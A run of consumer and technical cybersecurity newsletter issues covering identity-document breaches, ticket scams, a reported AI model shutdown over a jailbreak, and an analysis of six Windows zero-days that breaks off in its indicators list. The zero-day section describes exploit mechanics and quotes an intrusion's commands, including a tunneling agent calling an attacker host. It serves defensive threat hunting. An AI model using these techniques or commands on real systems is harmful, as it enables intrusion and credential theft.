There is a reason attackers are going after identity documents specifically, and not just credit card numbers. On dark web marketplaces, a stolen credit card number sells for about $17. A stolen driver’s license sells for $70 to $165. A U.S. passport scan goes for around $100, and a verified physical passport can fetch over $700. A complete identity package (name, SSN, date of birth, address, and a document scan to match) runs $1,000 or more. The pricing tells you exactly how criminals value these assets. A credit card can be cancelled with a phone call; its street value reflects that short shelf life. A passport number, a driver’s license number, a date of birth paired with a face? Those do not expire when someone reports them stolen. They hold their value for years, and the criminals buying them know it.

The Year Your ID Became Everyone’s Business

In just the past few months, four breaches have exposed government-issued identity documents on a scale that would have been unthinkable a few years ago.

3 million fishing license buyers. Texas.

On June 18, the Texas Parks and Wildlife Department disclosed that a third-party vendor handling hunting and fishing license sales had been breached. The attackers walked away with driver’s license numbers, passport numbers, email addresses, phone numbers, and home addresses belonging to 3,087,721 Texans. Social Security numbers and credit card data were not included, but what was stolen is arguably worse in the long run: your driver’s license number does not change when it gets breached. You cannot call a bank and get a new one.

The investigation has not determined how the attackers got in or how long they had access. No group has claimed responsibility. Affected customers can enroll in one year of free credit monitoring through Kroll by calling 844-959-7123 before September 14, 2026.

6 million cruise passengers. Carnival.

In April, an attacker tricked a single Carnival Corporation employee into handing over their login credentials. That one compromised account gave the attacker access to the personal information of nearly 6 million customers across Carnival Cruise Line, Princess Cruises, Holland America, and Cunard. The stolen data included names, dates of birth, passport numbers, and driver’s license numbers.

The hacking group ShinyHunters claimed the attack and published 8.7 million records when Carnival declined to pay. Texas Attorney General Ken Paxton opened a formal investigation. Three lawsuits have been filed. As one commenter on a cruise forum put it: “Stolen credit information is kept forever. Two years of monitoring means nothing.”

1 million hotel guests. Worldwide.

In May, a security researcher discovered that a Japanese hotel check-in platform called Tabiq, operated by a startup named Reqrea, had left over one million passport scans, driver’s licenses, and selfie verification photos sitting in an Amazon cloud storage bucket that was open to the public internet. No password. No authentication. Just a URL.

The files dated back to 2020. Six years of guest identity documents from hotels across Japan, belonging to travelers from countries around the world, accessible to anyone who found the link. Amazon’s cloud storage has been private by default since 2017. Making it public in 2026 requires actively overriding the default settings. Someone chose to do that.

The selfie verification photos are particularly concerning. These images are often linked to facial recognition workflows. Paired with the passport scans stored alongside them, they create a complete identity package: a face, a name, a document number, and a photo that proves they match.

64 million job applicants. McDonald’s.

Security researchers Ian Carroll and Sam Curry discovered that the AI chatbot McDonald’s uses to screen job applicants, a system called McHire built by a company called Paradox.ai, was secured with the admin password “123456.”

That password gave them full administrator access to a test environment. From there, a basic vulnerability in the system let them pull up any applicant’s records by changing a number in the URL. The result: 64 million records containing names, email addresses, phone numbers, chat transcripts from AI interviews, shift preferences, and personality test results were accessible.

The password had been in place since 2019. The test account, according to Paradox.ai’s legal team, “had not been logged into since 2019 and frankly, should have been decommissioned.”

Why This Is Different from a Credit Card Breach

When your credit card number gets stolen, you call the bank, dispute the charges, and get a new card in a week. The process is annoying but it works. Credit card fraud has a well-established playbook: the card issuer eats the loss, you get a fresh number, and life moves on.

Identity documents do not work that way.

Your driver’s license number is issued by your state. It follows you for life unless you specifically request a new one (and not all states make that easy). Your passport number is tied to a physical document that costs $130 to replace and takes weeks to process. Neither changes automatically when a company that was holding a copy of it gets hacked.

And unlike a stolen credit card, where the damage is financial and contained, a stolen identity document can be used to:

• Open credit accounts in your name. New-account fraud is now the #1 type of identity crime, accounting for 62% of all identity misuse cases per the Identity Theft Resource Center. Credit cards (41%), checking accounts (18%), and personal loans (9%) are the most common.

• Create a synthetic identity. Criminals combine your real driver’s license number with a fake name and date of birth to build a new persona that passes basic verification checks. Synthetic identity fraud is projected to cause $3.1 billion in losses in 2026.

• File taxes in your name. Dan Kluver spent a decade fighting IRS bills because someone else was earning income under his Social Security number. The IRS takes an average of 22 months to resolve identity theft cases.

• Accumulate a criminal record in your name. If someone is pulled over or arrested while carrying your information, the charges and warrants go on your record. You may not find out until your next background check, job application, or traffic stop.

The damage is slow, invisible, and cumulative. Only 9% of victims who suffer financial impact are able to fully resolve their cases, according to the ITRC’s 2026 report. A quarter of all identity theft victims are now managing two or more concurrent incidents at the same time.

What Can You Do?

1. If you Don’t Need it, freeze your credit.

If you don’t plan on using your credit score to open any new accounts or take out any new loans, it may make sense to do a credit freeze. A credit freeze prevents anyone (including you) from opening a new credit account until you temporarily lift the freeze. It is the single most effective defense against new-account fraud, which is now the dominant form of identity theft.

It is free. It takes about 10 minutes. You need to do it at all three bureaus:

• Equifax: equifax.com/personal/credit-report-services/credit-freeze

• Experian: experian.com/freeze/center.html

• TransUnion: transunion.com/credit-freeze

When you legitimately need to apply for credit (a mortgage, a car loan, a new credit card), you temporarily lift the freeze at the relevant bureau, complete your application, and re-freeze. The lift takes minutes.

2. Ask questions before handing over your ID.

My family almost learned this lesson the hard way. In the mid-1980s, my parents booked a hotel in Paris for a work trip. The name was nearly identical to a well-known luxury hotel, off by a single French numeral. We walked in, and there, behind the front desk, was a gold-framed portrait of Muammar Gaddafi. The clerk smiled at us enthusiastically. “Americans? Passports, please. We will hold them for you.”

My father was career military. He did not hand over the passports. My parents walked us back out the front door, checked the marquee, realized we were at the wrong hotel, and we (eventually) found the right one down the street. Back then there wasn’t an easy way to “google something,” or check Apple Maps. There was just a portrait on the wall that told my parents everything they needed to know about who was asking for their documents.

Forty years later, the question is the same. The difference is that the portrait isn’t on the wall anymore. The clerk asking for your ID might be a website, an app, a self-check-in kiosk, or a third-party vendor you’ve never heard of. You do not get to see what’s behind the counter.

Most of us hand over our driver’s license without thinking about it. At a hotel front desk, a car rental counter, a sporting goods store, a doctor’s office. The person behind the counter asks, and we comply.

Start asking two questions:

• “Do you need to scan it, or just see it?” There is a difference between verifying your identity (looking at your ID and confirming your name and face) and capturing your identity (scanning or photographing the document and storing a copy). Many businesses scan as a default when visual verification would suffice.

• “How long do you keep the copy?” If they scan it, your document is now a file on their system. Is it deleted after checkout? Kept for 30 days? Stored indefinitely? The Tabiq hotel system kept guest passport scans for six years in an unprotected cloud bucket. No guest was ever told.

You will not always get a satisfying answer. But asking the question shifts the dynamic. It reminds the business that they are taking custody of something they are responsible for protecting.

3. Check if you are in the Texas or Carnival breaches.

If you have purchased a Texas hunting or fishing license, or if you have sailed on Carnival Cruise Line, Princess Cruises, Holland America, or Cunard, you may already be affected.

• Texas Parks & Wildlife: Call 844-959-7123 to confirm eligibility and enroll in free credit monitoring. Deadline: September 14, 2026.

• Carnival Corporation: Activate the free two-year TransUnion credit monitoring using the code in your notification letter. Deadline: August 31, 2026.

• Have I Been Pwned: Check whether your email appears in the Carnival breach (or any other) at haveibeenpwned.com.

4. Request a new driver’s license number from your state DMV.

If you know your driver’s license number was exposed in a breach, contact your state’s Department of Motor Vehicles and ask about getting a new number issued. Not all states make this easy, but most allow it in cases of documented identity theft or confirmed breach exposure. You will typically need a copy of the breach notification letter and a police report or FTC identity theft report.

5. Monitor your IRS account.

Dan Kluver’s first warning sign was a tax bill for income he never earned. You can catch this early by creating an account at IRS.gov and checking your wage and income transcripts annually. If someone is filing taxes or earning income under your Social Security number, it will show up there before it shows up anywhere else.

You can also file an IRS Identity Protection PIN (IP PIN), a six-digit number that prevents anyone else from filing a tax return using your Social Security number. Request one at irs.gov/identity-theft-fraud-scams/get-an-identity-protection-pin.

The Bottom Line

Dan Kluver handed over his Social Security number to an employer, the way all of us do. Someone else got hold of it, and his life was upended for 15 years. He lost thousands of dollars, endured a decade of audits, and found his name on a wrongful death lawsuit for an accident he had nothing to do with.

The difference between Kluver’s story and what is happening in 2026 is not the method. Identity theft works the same way it always has: someone gets a document with your name on it and uses it as if they were you. The difference is the supply. Three million fishing license buyers. Six million cruise passengers. One million hotel guests. Sixty-four million job applicants. These are not hacking victims in the traditional sense. They are people who did something ordinary (bought a license, booked a cruise, checked into a hotel, applied for a job) and trusted the company on the other side to protect what they handed over.

Some of those companies stored passport scans in public cloud buckets. Some secured admin accounts with the password “123456.” Some do not even know how the breach happened yet.

You cannot control how a third party stores your identity documents after you hand them over. But you can freeze your credit so a stolen document cannot be used to open accounts in your name. You can ask whether a business actually needs to scan your ID or just see it. You can check your IRS transcripts for income you did not earn. And you can set an Identity Protection PIN so nobody files a tax return as you.

These steps take about 20 minutes total. Dan Kluver spent 15 years cleaning up the alternative.

If you have been affected by any of the breaches discussed in this article:

• FTC Identity Theft Report: identitytheft.gov

• Identity Theft Resource Center: idtheftcenter.org or 888-400-5530 (free, confidential assistance)

• IRS Identity Theft: irs.gov/identity-theft-fraud-scams

• State DMV: Contact your state’s DMV to request a new driver’s license number if yours was exposed

Sources

• Willmar Radio: Man arrested for using Olivia man’s ID for 15 years (Dan Kluver case)

• TechCrunch: Texas government data breach, 3 million driver’s licenses and passports(June 18, 2026)

• SecurityWeek: Texas Parks & Wildlife Data Breach Affects 3 Million (June 2026)

• Malwarebytes: Carnival confirms breach impacting nearly 6 million (May 2026)

• Texas AG: Investigation into Carnival Cruise Line (2026)

• TechCrunch: Hotel check-in system left a million passports open (May 15, 2026)

• SecurityWeek: McDonald’s chatbot leaked 64 million job applications

• CSO Online: McDonald’s AI hiring tool’s password “123456”

• Security.org: Identity Theft Statistics 2026

• ITRC: 2026 Trends in Identity Report

• CFO Dive: Synthetic identity fraud surges

So when Anthropic released Claude Fable 5 and Mythos 5 last week, it was a genuine revelation for us. The leap in capability was obvious within hours. We immediately started upgrading our core codebases, integrating the newer and far superior technology into the platforms our clients depend on. The improvements were real, and they were significant.

That all came to a screeching halt on Friday night when the U.S. government pulled the plug.

We lived this week’s Prevent This topic. Not because I have a side in the dispute between Anthropic and Washington, but because what happened affects everyone who uses AI for anything that matters, whether you are running a cybersecurity company or asking a chatbot to help with your taxes.

What Happened

On the evening of June 12, the U.S. Commerce Department sent Anthropic a letter invoking emergency national security provisions. The order: immediately suspend access to Fable 5 and Mythos 5 for all foreign nationals, whether they were overseas or working inside the United States.

The stated reason was a security concern. A third party reported that a method existed to bypass some of Fable 5’s safety guardrails, a technique commonly called a “jailbreak.” The concern was that this method could allow the AI to help with cyberattack-related tasks it would normally refuse.

Anthropic disputes the severity. The company says the bypass was narrow, already known, and produced results that other publicly available AI models can generate without any jailbreak at all. In Anthropic’s view, pulling a model used by hundreds of millions of people over this kind of finding would mean no AI company could ever launch anything.

The government disagreed. The order came with no expiration date.

Here is the part that matters for you: Anthropic could not figure out how to block foreign nationals while keeping the models running for everyone else. There is no reliable way to verify every user’s nationality across consumer accounts, business subscriptions, and software integrations in real time. So the company did the only thing it could do to comply: it turned both models off for everyone, everywhere.

Fable 5 lasted 72 hours from launch to shutdown.

Why Should You Care?

You might be thinking: I barely heard of Fable 5. I was using a different model anyway. This does not affect me.

Here is why it does.

This is the first time a government has pulled a commercially available AI model off the market. Not a weapons system. Not classified technology. A consumer product that millions of people were using for work, school, writing, coding, and daily life, switched off by a letter from Washington with no public hearing, no advance notice, and no expiration date.

Whether you agree with the government’s reasoning or think Anthropic should have fixed the problem, the precedent is the same: the AI tool you rely on can disappear between breakfast and dinner.

That has never happened before. Now it has.

And it is not just an Anthropic problem. Every major AI chatbot (ChatGPT, Gemini, Copilot, Claude) runs on servers controlled by a single company. If the government issues a similar order to any of them, the result would be the same. Your tool goes dark. Your conversations, your workflows, your saved prompts: all inaccessible until someone decides to turn it back on.

What Actually Went Wrong?

The technical details are still emerging, but here is what we know.

A security researcher (or group of researchers; the specifics have not been made fully public) found a way to get Fable 5 to do things it was designed to refuse. Specifically, the bypass reportedly allowed the model to analyze software code and identify vulnerabilities in ways that could be useful for building cyberattacks.

Anthropic says this capability is not unique to Fable 5. Other AI models, including open-source models that anyone can download and run on a laptop, can do the same thing without needing a bypass at all. The company’s argument: you cannot justify shutting down one product for doing something that dozens of other products do openly.

The government’s position is different. Officials have said the jailbreak was serious enough to warrant immediate action, particularly given concerns that the technique may have been accessed by foreign actors.

Both sides are using the language of safety. Neither has made the full evidence public. What is public is the outcome: a model that was the most capable AI available to consumers on Tuesday was gone by Thursday.

What Does This Mean for You?

You do not need to pick a side in the Anthropic dispute to take something useful away from this. The lesson is simpler and more practical than that.

1. Do not put all your eggs in one AI basket.

If your work, your business, or your daily routine depends on a single AI tool, this week proved that tool can vanish without warning. That is not a criticism of any company. It is just how the technology works right now: you are renting access to software that runs on someone else’s servers, under someone else’s rules.

Practical step: try a second AI tool this week. If you use Claude, try ChatGPT or Gemini for a few tasks. If you use ChatGPT, try Claude or Copilot. You do not need to switch. You just need to know your way around a backup so you are not scrambling if your primary tool goes offline.

2. Save your important conversations.

When Fable 5 shut down, users lost access to conversations they had started with that specific model. The conversations still exist in their accounts, but they cannot continue them or reference them in new chats the same way.

If you are using AI for anything you might need later (research, brainstorming, drafting, medical questions, financial planning), copy the important parts out. Paste them into a document, a note, an email to yourself. Do not treat your AI chat history as permanent storage. It is not.

3. Understand what “free” and “subscription” actually mean.

Anthropic is offering refunds to subscribers who signed up between June 9 and June 14, the window when Fable 5 was live. But the process has been uneven. Some users report getting refunds quickly; others are still waiting. EU customers have had better luck, partly because European consumer protection law gives a 14-day cooling-off period for digital services.

The broader point: when you pay for an AI subscription, you are paying for access to a service, not ownership of a product. The company can change, downgrade, or remove features at any time. Read the terms of service. Look for what happens if a model or feature is discontinued. Know your refund rights.

4. Keep your privacy habits regardless of which tool you use.

This is important…Whether the tool you use is Claude, ChatGPT, Gemini, Copilot, or anything else:

• Turn off training data sharing if you do not want your conversations used to improve the model. Every major AI tool offers this setting. It is usually off by default.

• Do not share sensitive personal information (Social Security numbers, passwords, financial account details, medical records) in a chatbot. Treat it like a conversation in a coffee shop: helpful, but not private.

• Delete conversations you no longer need. Most tools let you clear your history. Less data stored means less data exposed if something goes wrong.

[PRIVACY CHECKLIST GRAPHIC HERE]

Quick settings guide:

• Claude (Anthropic): Settings > Privacy > “Do not train on my conversations”

• ChatGPT (OpenAI): Settings > Data Controls > “Improve the model for everyone” (toggle off)

• Gemini (Google): myactivity.google.com > Gemini Apps > Turn off activity

• Copilot (Microsoft): Settings > Privacy > Review data sharing options

Will Fable 5 Come Back?

Nobody knows, and Anthropic cannot give you a date. The company has said it is working to restore access, but the export control order has no built-in expiration. Lifting it requires a new action from the Commerce Department. That could take days, weeks, or longer.

In the meantime, all other Claude models (Opus, Sonnet, Haiku) continue to work normally. If you were using Claude before Fable 5 launched, your experience has not changed.

The Bottom Line

Three days. That is how long the most capable consumer AI model in the world lasted before the government ordered it turned off. Whether you think the government was right to act or Anthropic was right to push back, the practical lesson is the same.

The AI tools we are all starting to depend on are powerful, useful, and genuinely helpful. They are also rented, centralized, and subject to forces outside your control and outside the company’s control. That does not mean you should stop using them. It means you should use them with your eyes open.

Have a backup. Save your work. Protect your privacy. And do not assume that the tool you opened this morning will still be there tonight.

Sources

• Anthropic: Statement on the US government directive (June 2026)

• TechCrunch: Government pulls the plug on Anthropic’s most powerful AI (June 12, 2026)

• Time: Anthropic Pulls Its Most Powerful AI Models After U.S. Bars Foreign Access(June 13, 2026)

• Fortune: Anthropic disables Fable and Mythos after U.S. export controls (June 13, 2026)

• CNN: Anthropic suspends all access to Mythos model (June 13, 2026)

• Snyk: What the Fable 5 and Mythos 5 Suspension Means for Security Teams

• Security Boulevard: Claude Fable 5 Jailbroken to Bypass Safety Guardrails

• Tom’s Hardware: Anthropic reportedly declined to fix jailbreak before export controls

• TechTimes: Refunds for a Vanished AI (June 13, 2026)

• TechPolicy.Press: The White House’s Missing AI Safety Playbook

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For our bi-weekly technical deep dive, check out Intruvent Edge.

Welcome to Prevent This, our weekly community newsletter covering cybersecurity for everyone. If you found us through Intruvent Edge, our bi-weekly technical deep dive, welcome. Both live on the same Substack. Feel free to share either one. We’re glad you’re here.

The 2026 FIFA World Cup kicks off June 11 across the United States, Canada, and Mexico. It is the biggest sporting event on earth, the first World Cup in North America in over 30 years, and scammers have been preparing for it longer than most fans have.

The FBI issued a Public Service Announcement last week warning that threat actors have built thousands of fake FIFA websites to steal personal information and sell tickets that do not exist. Researchers at Group-IB found over 4,300 fraudulent domains mimicking fifa.com. One criminal group alone, a Chinese-speaking operation called Ghost Stadium, built pixel-perfect FIFA replicas across 300+ domains in 11 languages.

The World Cup is just the latest target. The same playbook runs year-round against anyone buying tickets to concerts, NFL games, festivals, Broadway shows, and anything else that sells out. One in three Americans has fallen victim to a ticket scam. If you have ever bought a ticket online, this applies to you.

Ticket fraud is surging across the board. Reports of concert ticket scams rose 127% in 2024. One in eight Americans who bought tickets online in the last two years was defrauded. The average loss: $303 per person, according to the Better Business Bureau. For premium events (VIP packages, multi-day festivals, international matches), victims routinely lose over $1,000.

Every major event creates a spike. The World Cup is producing the largest one researchers have ever seen: over 7,000 World Cup-themed domains registered in the last five months, more than 1,000 already live and running scams, and over 1,000 fake social media accounts impersonating FIFA across every major platform. But the tactics are identical whether the target is a World Cup final or a Taylor Swift concert. If you know how to spot the scam once, you can spot it everywhere.

How It Works

Ticket scams fall into three categories, and they all rely on the same thing: you are in a hurry because the event is selling out, and you skip the step where you verify whether the seller is real.

Fake websites account for 38% of ticket fraud reported to the BBB. Scammers build sites that look nearly identical to Ticketmaster, AXS, or an event’s official page. The URLs are close but not quite right: ticktmaster.com instead of ticketmaster.com, or fiffa.com instead of fifa.com. The FBI calls this typosquatting. The sites show real event dates, real venue photos, and real-looking seat maps. When you pay, the money goes to the attacker. The BBB currently lists over 250 reported scams from fake Ticketmaster sites alone.

Social media sellers account for another 52%. Facebook, Instagram, X, TikTok, and resale groups on messaging platforms are flooded with people claiming to have tickets at face value or below. Some post fake screenshots of mobile tickets. Others build trust through comments and DMs over several conversations before sending a payment link. Once you send money through Venmo, Zelle, Cash App, or crypto, it is gone. There is no chargeback. There is no recourse. The seller disappears.

Account takeovers target people who already have tickets. Fake login pages for Ticketmaster, AXS, or FIFA steal your credentials. The attacker changes the password, locks you out, transfers the tickets to their own account, and resells them. At Coachella 2026, fans were stranded at the gates after discovering their StubHub accounts had been hacked and their wristbands sold to someone else.

Who Gets Hit Hardest

Younger buyers. 28% of victims are 25 to 34, and another 26% are 18 to 24. These are the age groups most likely to buy tickets through social media and peer-to-peer payment apps, which are the two highest-risk channels.

The Dutch National Police proved how easy it is to fall for this. They built a fake ticket site, ran ads for “exclusive tickets” to sold-out concerts, and tracked the results. Out of 7,402 people who visited the site, 3,432 tried to buy tickets. Nearly half. The site redirected them to a police warning page instead of taking their money. Most real scam sites do not extend that courtesy.

What Can You Do?

Before You Buy

1. Go directly to the source. Type the venue or ticketing platform’s URL into your browser. Do not click search ads, email links, or social media posts. Scammers buy sponsored search results that appear above the real site. If you are buying World Cup tickets, type fifa.com. If you are buying concert tickets, go to the venue’s website or the official ticketing partner listed there.

2. Verify the URL before entering payment information. Look for misspellings, extra characters, or unusual domain endings. ticketmaster.com is real. ticktmaster.com, ticketmaster-sales.net, and ticketmasterofficial.org are not.

3. Use authorized resale platforms only. If the event is sold out, stick to the official resale marketplace (Ticketmaster’s resale platform, AXS’s official resale, FIFA’s resale portal). These verify ticket authenticity before completing the transfer.

When You Pay

1. Pay with a credit card. Credit cards offer fraud protection and chargeback rights. Debit cards pull directly from your bank account and are harder to dispute. Wire transfers, Zelle, Venmo, Cash App, crypto, and gift cards are irreversible. If a seller will only accept one of those, walk away.

2. Be suspicious of “deals.” Sold-out events do not have discount tickets floating around the internet. If the price is significantly below face value, the tickets do not exist. If the price is significantly above face value and the seller is not on an authorized resale platform, you have no guarantee of authenticity.

After You Buy

1. Lock down your ticketing accounts. Enable multi-factor authentication on Ticketmaster, AXS, StubHub, and any event-specific account (FIFA, etc.). Use a unique password for each. Account takeovers are how people lose tickets they already paid for.

2. Do not click login links from emails or texts. Go directly to the platform and log in from there. Phishing emails impersonating ticketing companies are common around major events.

3. Be wary of “ticket transfer” messages. If you receive an unexpected notification that your tickets have been transferred, log into your account immediately (directly, not through the notification link) and check.

The Bottom Line

One in three Americans has been scammed buying tickets. The average loss is $303. The World Cup is producing the largest ticket fraud operation ever documented online, with thousands of fake websites and organized criminal groups targeting fans worldwide. But the techniques are the same ones used against concert-goers, football fans, and festival attendees every week of the year. Learn to spot it now and you are protected for everything that comes after.

The defense is the same whether you are buying World Cup tickets or floor seats to see your favorite artist:

1. Go to the source. Type the URL yourself. Never click an ad or a link.

2. Pay with a credit card. Never Zelle, Venmo, crypto, or gift cards.

3. If it is sold out everywhere except one random website offering a deal, that website is the scam.

Share this with anyone who buys tickets online. That is most of us.

If you or someone you know has been victimized:

• FBI IC3: ic3.gov

• FTC: ReportFraud.ftc.gov or 877-382-4357

• Your credit card company: Dispute the charge immediately

• BBB Scam Tracker: bbb.org/scamtracker

Sources

• FBI IC3: Threat Actors Spoofing FIFA Websites (May 27, 2026)

• AARP: How to Avoid Sports and Concert Ticket Scams

• Surfshark: Concert Ticket Fraud Research (127% increase, BBB data)

• Malwarebytes: Dutch Police Fake Ticket Experiment

• The Record: Ghost Stadium / Group-IB

• FTC: StubHub $10M Settlement (April 2026)

• CyberandFraudHub: Avoiding Ticket Scams

• BleepingComputer: FBI Warns of Fake FIFA Websites

Prevent This is a weekly cybersecurity newsletter from Intruvent Technologies. Each week, we break down one cyber threat in plain language and give you the tools to protect yourself and the people you care about. For our bi-weekly technical deep dive, check out Intruvent Edge.

Welcome to Intruvent Edge, our bi-weekly technical deep dive into a current cyber threat. If you found us through Prevent This, our weekly community newsletter covering cybersecurity for everyone, you’re in the right place. Both live on the same Substack. Feel free to share either one. We’re glad you’re here.

The Short Version

Since early April, a single anonymous security researcher has released six Windows zero-day exploits targeting Microsoft Defender, BitLocker, and core Windows internals. Three have been exploited in the wild by threat actors linked to Russian infrastructure. Three have been added to CISA’s Known Exploited Vulnerabilities catalog. As of this writing, only three of the six have patches. The researcher has promised more for June and July.

The researcher, operating under the alias Nightmare-Eclipse, claims to be a former Microsoft employee who was personally and professionally destroyed by the company. Whether that justifies dropping weaponizable exploit code on the open internet is a question the security community is actively debating. What is not debatable: the exploits work, attackers are using them, and your Defender-protected endpoints may be less protected than your dashboard suggests.

This article covers the technical details of each exploit, the observed attack chain, indicators of compromise you can hunt for today, and what is likely coming next.

The Backstory

On March 27, 2026, an anonymous account appeared on GitHub. Within days, a blog post followed: “I never wanted to reopen a blog and a new GitHub account to drop code. But someone violated our agreement and left me homeless with nothing.”

The author, using the aliases Nightmare-Eclipse, Chaotic Eclipse, and Dead Eclipse, claimed a prior professional relationship with Microsoft that ended in what they describe as deliberate personal destruction. “I was told personally by them that they will ruin my life and they did.” They alleged that Microsoft revoked their MSRC (Microsoft Security Response Center) reporting account, ignored requests for explanation, and “mopped the floor with me and pulled every childish game they could.”

Whether the grievance is legitimate is unknown. What is clear from the exploit code is that this person has deep, insider-level knowledge of Windows Defender internals, the Cloud Files API, NTFS transactional mechanisms, and MSRC processes. Multiple security outlets describe them as a “rumored former Microsoft employee.” The technical quality of the work is consistent with that assessment.

What followed was a methodical, escalating campaign: six zero-day exploits released over six weeks, each timed for maximum impact, each targeting a different Windows security surface.

The Six Exploits

1. BlueHammer (CVE-2026-33825) — April 2

Type: Local Privilege Escalation | CVSS: 7.8 | Status: Patched (April 14)

BlueHammer exploits a time-of-check to time-of-use (TOCTOU) race condition in Defender’s threat remediation engine. When Defender detects a malicious file, it performs a cleanup operation with SYSTEM-level privileges. BlueHammer interrupts that operation at a precise moment using an opportunistic lock (oplock), swaps the target path to a junction pointing at C:\Windows\System32, and lets Defender complete the write into the protected directory.

The extended chain goes further: it triggers a signature update that tricks Defender into copying the Security Account Manager (SAM) database, extracts NT password hashes, temporarily changes user passwords, and uses the new credentials to escalate to SYSTEM.

The proof-of-concept binary was distributed as FunnyApp.exe. The filename is trivial to change. Detection must focus on the behavior: Defender writing PE files into System32, NTFS junction creation in user directories targeting protected paths, and non-LSASS processes loading samlib.dll.

MITRE ATT&CK: T1068 (Exploitation for Privilege Escalation), T1574 (Hijack Execution Flow)

2. UnDefend (CVE-2026-45498) — April 12

Type: Defense Evasion | CVSS: 4.0 | Status: Patched (May 19-20)

UnDefend targets Defender’s update mechanism rather than escalating privileges directly. It operates in two modes:

Passive mode silently blocks all signature updates. Defender keeps running, but its threat intelligence freezes at whatever signatures were current when the exploit ran. New malware walks right past. The telltale indicator: Windows Update Error Code 80070643appears during signature update attempts.

Aggressive mode waits for Microsoft to push a major platform update, then kills Defender entirely. The trigger is Microsoft’s own update mechanism.

The critical deception in both modes: Defender still reports itself as healthy to the management console. Dashboards show green. Compliance tools show protected. Everything looks fine while the endpoint is blind.

MITRE ATT&CK: T1562.001 (Impair Defenses: Disable or Modify Tools)

3. RedSun (CVE-2026-41091) — April 15-16

Type: Local Privilege Escalation | CVSS: Not scored at disclosure | Status: Patched (May 19-20)

RedSun is the most technically sophisticated of the six. It abuses Defender’s handling of cloud-tagged files via the Windows Cloud Files API.

The exploit registers a sync root using the provider name “SERIOUSLYMSFT” (a direct-match IOC reflecting the researcher’s frustration), drops a decoy executable named TieringEngineService.exe with a reversed EICAR string, converts it to a cloud placeholder, then uses an oplock race condition to redirect Defender’s rollback operation into C:\Windows\System32. Defender, running as SYSTEM, overwrites the legitimate TieringEngineService.exe with attacker-controlled content.

The final step activates the Storage Tiers Management Engine via DCOM, which executes the now-replaced binary. The payload detects the SYSTEM context, reads the target session ID from a named pipe (\\.\pipe\REDSUN), and spawns an interactive SYSTEM shell in the user’s active session.

Reliability: approximately 100% on fully patched April 2026 systems. No kernel exploit, no driver, no administrator interaction required. Reverse engineering of MpSvc.dllconfirmed that no reparse point validation exists anywhere in the write-back chain.

MITRE ATT&CK: T1068 (Exploitation for Privilege Escalation), T1574 (Hijack Execution Flow)

4. YellowKey (CVE-2026-45585) — May 12

Type: BitLocker Security Feature Bypass | CVSS: 6.8 | Status: Mitigation only (no full patch)

Released one day after May Patch Tuesday, YellowKey exploits NTFS Transactional replay in the Windows Recovery Environment to bypass BitLocker full-disk encryption on machines using TPM-only configuration.

Specially crafted files in an FsTx directory structure on a USB drive instruct the system to replay NTFS transaction logs during boot. The crafted transactions delete winpeshl.inifrom the recovery environment. When WinRE launches, a command prompt appears instead of the normal recovery tools. Because TPM-only mode auto-decrypts on boot without user input, the attacker has unrestricted access to the BitLocker-protected volume.

The researcher described YellowKey as “one of the most insane discoveries I ever found” and claimed TPM+PIN configurations are also vulnerable, but declined to release that proof-of-concept. The current public exploit requires physical access to the original device (stolen drives alone cannot be unlocked because the TPM is bound to the motherboard).

Microsoft issued mitigation guidance on May 20 but has not released a full patch.

5. GreenPlasma (No CVE) — May 13

Type: Local Privilege Escalation (partial) | Status: Unpatched

Also released the day after May Patch Tuesday. GreenPlasma targets ctfmon.exe, the text input service that runs as SYSTEM in every interactive Windows session. An unprivileged user can create arbitrary memory-section objects within SYSTEM-writable directories by manipulating registry permissions.

The researcher deliberately released an incomplete version, calling it a “capture the flag challenge.” In its current state, it triggers a UAC consent prompt rather than delivering a silent SYSTEM shell. A motivated attacker could complete the final step independently.

6. MiniPlasma (No CVE) — Late May

Type: Local Privilege Escalation | Status: Unpatched (fix appears in Insider Canary only)

MiniPlasma is perhaps the most embarrassing for Microsoft. It targets cldflt.sys, the Windows Cloud Files Mini Filter Driver. The specific flaw, in the HsmOsBlockPlaceholderAccess routine, was originally discovered by Google Project Zero researcher James Forshaw in September 2020. Microsoft assigned it CVE-2020-17103 and reportedly patched it in December 2020.

Nightmare-Eclipse’s claim: “The exact same issue that was reported to Microsoft by Google Project Zero is actually still present, unpatched. I’m unsure if Microsoft just never patched the issue or the patch was silently rolled back at some point.”

BleepingComputer and security researcher Will Dormann independently confirmed that the original 2020 proof-of-concept works on fully patched May 2026 Windows 11. A standard user account gains a SYSTEM-level command prompt. The exploit does not work on Insider Preview Canary builds, suggesting a fix is in development but has not reached production.

The Cloud Files Mini Filter Driver is present by default on most Windows 11 installations because of OneDrive integration. The attack surface is broadly deployed.

The Chain: How They Work Together

Individually, each exploit is a serious vulnerability. Combined, they form a complete offensive toolkit:

1. Blind the guard: UnDefend freezes Defender’s signatures or kills it entirely while reporting healthy status to the management console.

2. Escalate to SYSTEM: BlueHammer, RedSun, or MiniPlasma, three independent paths to SYSTEM-level access through three different Windows subsystems. If one is patched, the attacker has two alternatives.

3. Access encrypted devices: YellowKey bypasses BitLocker on physically accessible machines.

4. Future persistence: GreenPlasma provides a fourth SYSTEM path through a different subsystem once the researcher (or someone else) completes the final step.

The sequencing matters. The Huntress-observed attack chain was: enter via stolen VPN credentials, deploy UnDefend to blind Defender, escalate via BlueHammer or RedSun, dump credentials, move laterally, deploy ransomware. First blind the guard dog, then walk through the front door with admin keys.

In the Wild: The Huntress Intrusion

Huntress Labs published the definitive incident report on April 20, documenting the first confirmed real-world intrusion using Nightmare-Eclipse tooling.

April 10: FunnyApp.exe (BlueHammer) staged in C:\Users\[REDACTED]\Pictures\and quarantined by Defender as Exploit:Win32/DfndrPEBluHmr.BZ.

April 15, 13:44 UTC: Unauthorized SSL VPN connection from 78.29.48[.]29(Russia) to the victim’s FortiGate firewall using stolen credentials.

April 16: RedSun attempted. UnDefend deployed (notably with the misspelled flag -agressive, suggesting the operator was not the author of the tooling). Post-exploitation commands: whoami /priv, cmdkey /list, net group. Then: agent.exe -server staybud.dpdns[.]org:443 -hide, deploying BeigeBurrow, a Go-based tunneling agent using HashiCorp’s Yamux library for persistent TCP relay.

An instructive detail: despite executing multiple tools, three of four failed. Defender quarantined BlueHammer. RedSun never produced a result. UnDefend was operated incorrectly. Only BeigeBurrow successfully connected outbound. The attackers had access to sophisticated weaponry and fumbled the execution. That will not always be the case.

Indicators of Compromise

File Indicators

• FunnyApp.exe (BlueHammer PoC, staged in \Pictures\)

